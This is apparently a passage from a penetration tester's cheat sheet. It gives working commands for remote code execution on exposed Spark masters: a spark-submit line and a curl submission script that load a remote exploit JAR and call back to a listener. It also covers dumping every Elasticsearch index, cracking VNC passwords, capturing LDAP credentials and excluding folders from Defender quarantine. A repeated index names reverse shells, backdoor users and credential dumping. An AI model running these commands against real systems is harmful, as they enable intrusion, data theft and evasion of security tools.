Then click Launch Virtual Console

If you are not able to login because there are existing sessions, you can kill them by doing the following:

Click the plus sign next to iDRAC Settings
Click Sessions
Click the trash can icon next to the existing sessions

Once this is done, try logging in via the Virtual Console.

Start ASDM via CLI

If you randomly happen to be targeting an ASDM, here’s the command to interact with it from the terminal:

javaws https://target:8443/admin/public/asdm.jnlp

Resource: https://community.cisco.com/t5/network-security/start-asdm-from-command-line/td-p/1593342

Rogue LDAP server

This is very useful if you have an LDAP hookup that you’re looking to extract credentials from, and nc -lvp 389 isn’t working out.

Responder is also supposed to be able to do this, but I haven’t had much luck with it.

Resource: https://www.devilsec.io/2019/04/29/hacking-printers-for-profit/

Spark

If you find a spark master belonging to your target that’s externally exposed, you might have RCE.

Exploitation via 7077

To start, stand up a box that will serve as a listener.

Next, clone this repo and run docker-compose up -d.

Next copy the bin folder that is generated in the docker container to your host system. This should have utilities such as spark-submit in it.

Next, run this command:

./bin/spark-submit --master spark://hostname:7077 --deploy-mode cluster --class Exploit
https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar 'wget listenerbox:portoobserviceison'

Exploitation via 6066

Set up a listener on a system you control:

python -m SimpleHTTPServer 9999

Create submit.sh:

#!/bin/bash
target=$1
version=$2
jar_url=$3
jar_args=$4
curl -X POST http://${target}/v1/submissions/create \
--header "Content-Type:application/json;charset=UTF-8" \
--data @<(cat <<EOF
{
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "${version}",
  "appArgs": [
    "${jar_args}"
  ],
  "appResource": "${jar_url}",
  "environmentVariables": {
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "${jar_url}",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://${target}"
  }
}
EOF
)

Next, run the following command:

bash submit.sh sparkmaster:6066 <spark version - i.e. 2.2.0> https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
"wget <ip of system running the listener>:9999"

ElasticSearch

Dump all of the data from all of the indices

## Install the elasticdump tool
sudo npm install elasticdump -g

multielasticdump --direction=dump --input=https://target_es_node:target_es_node_port
--output=target_es_node_dump --type=data

Resources: https://stackoverflow.com/questions/19243074/dump-all-documents-of-elasticsearch https://gist.github.com/fijimunkii/20227aff19aafa10dbdb654e2770b287

Crack VNC password

git clone https://github.com/jeroennijhof/vncpwd.git
cd vncpwd
make
./vncpwd /root/.vnc/passwd

Resource: https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc

Change columns in Process Explorer

Right click an existing column and click Select Columns

EDR

MDE

Exclude the current working directory from quarantine using the CLI:

mdatp exclusion folder add --path $PWD

Recon#

Host Discovery#

Test out of bound code execution with tcpdump#

Information Gathering#

Miscellaneous Nmap Stuff#

Eyewitness#

Single target as command line arg#

Read targets out of a file#

Responder#

All things reverse shells#

Bash Reverse Shell#

Netcat reverse shell#

Python Reverse Shell#

Scala Reverse Shell#

PHP reverse shell#

Handle multiple reverse nc shells#

Netcat reverse shell without -e#

NFS#

Persistence#

Persist with SSH key#

Create backdoor user#

Add user with no password to sudoers#

Lateral Movement#

Hijacking SSH with Master Mode#

Misc Linux Post Exploitation Stuff#

Find logs on a linux system#

Take screenshot#

Ask for creds#

Access a user’s env#

Searching for valuable information#

Transfer file via netcat#

Who has logged in previously#

Are you in the sudoers file#

Get network information#

Search for secrets on git server#

Find programs with root privs#

Screenshot the targets screen when you’re ssh’ed into a system#

SUID Executables#

Linux Post Exploitation Tools#

Monitor processes#

Unix-privesc-check#

LinEnum#

Linux Exploit Suggester#

LinPEAS#

Linuxprivchecker#

Windows Post Exploitation#

Find weak service permissions#

Find weak file permissions#

Always install elevated privilege escalation#

Use sessiongopher to find saved session info#

Windows WGET using cmd#

Upload stuff to a Windows machine via RDP#

Request Credentials from user#

Bypass LSA Protection#

Dump creds with mimikatz#

Lsass dump#

Empire#

Install on Kali#

Create a listener#

Create a stager#

Interact with agent#

POC creation#

Cracking hashes#

Brute forcing#

SSH with Hydra#

Basic auth page with Hydra#

Denial of Service#

Getting a shell using PostgreSQL#

Fix su: must be run from a terminal#

Jenkins#

Shell on Jenkins via Groovy Console#

If /script is not accessible, but /computer is#

Jenkins on Windows#

Stealing credentials from Jenkins#

Stealing creds via Job Import plugin#

Jenkins Post Exploitation#

Metasploit#

Create RC Listener#

Capture NTLM Hash with Metasploit#

MSFVenom#

Recon

Host Discovery

Test out of bound code execution with tcpdump

Information Gathering

Miscellaneous Nmap Stuff

Eyewitness

Single target as command line arg

Read targets out of a file

Responder

All things reverse shells

Bash Reverse Shell

Netcat reverse shell

Python Reverse Shell

Scala Reverse Shell

PHP reverse shell

Handle multiple reverse nc shells

Netcat reverse shell without -e

NFS

Persistence

Persist with SSH key

Create backdoor user

Add user with no password to sudoers

Lateral Movement

Hijacking SSH with Master Mode

Misc Linux Post Exploitation Stuff

Find logs on a linux system

Take screenshot

Ask for creds

Access a user’s env

Searching for valuable information

Transfer file via netcat

Who has logged in previously

Are you in the sudoers file

Get network information

Search for secrets on git server

Find programs with root privs

Screenshot the targets screen when you’re ssh’ed into a system

SUID Executables

Linux Post Exploitation Tools

Monitor processes

Unix-privesc-check

LinEnum

Linux Exploit Suggester

LinPEAS

Linuxprivchecker

Windows Post Exploitation

Find weak service permissions

Find weak file permissions

Always install elevated privilege escalation

Use sessiongopher to find saved session info

Windows WGET using cmd

Upload stuff to a Windows machine via RDP

Request Credentials from user

Bypass LSA Protection

Dump creds with mimikatz

Lsass dump

Empire

Install on Kali

Create a listener

Create a stager

Interact with agent

POC creation

Cracking hashes

Brute forcing

SSH with Hydra

Basic auth page with Hydra

Denial of Service

Getting a shell using PostgreSQL

Fix su: must be run from a terminal

Jenkins

Shell on Jenkins via Groovy Console

If /script is not accessible, but /computer is

Jenkins on Windows

Stealing credentials from Jenkins

Stealing creds via Job Import plugin

Jenkins Post Exploitation

Metasploit

Create RC Listener

Capture NTLM Hash with Metasploit

MSFVenom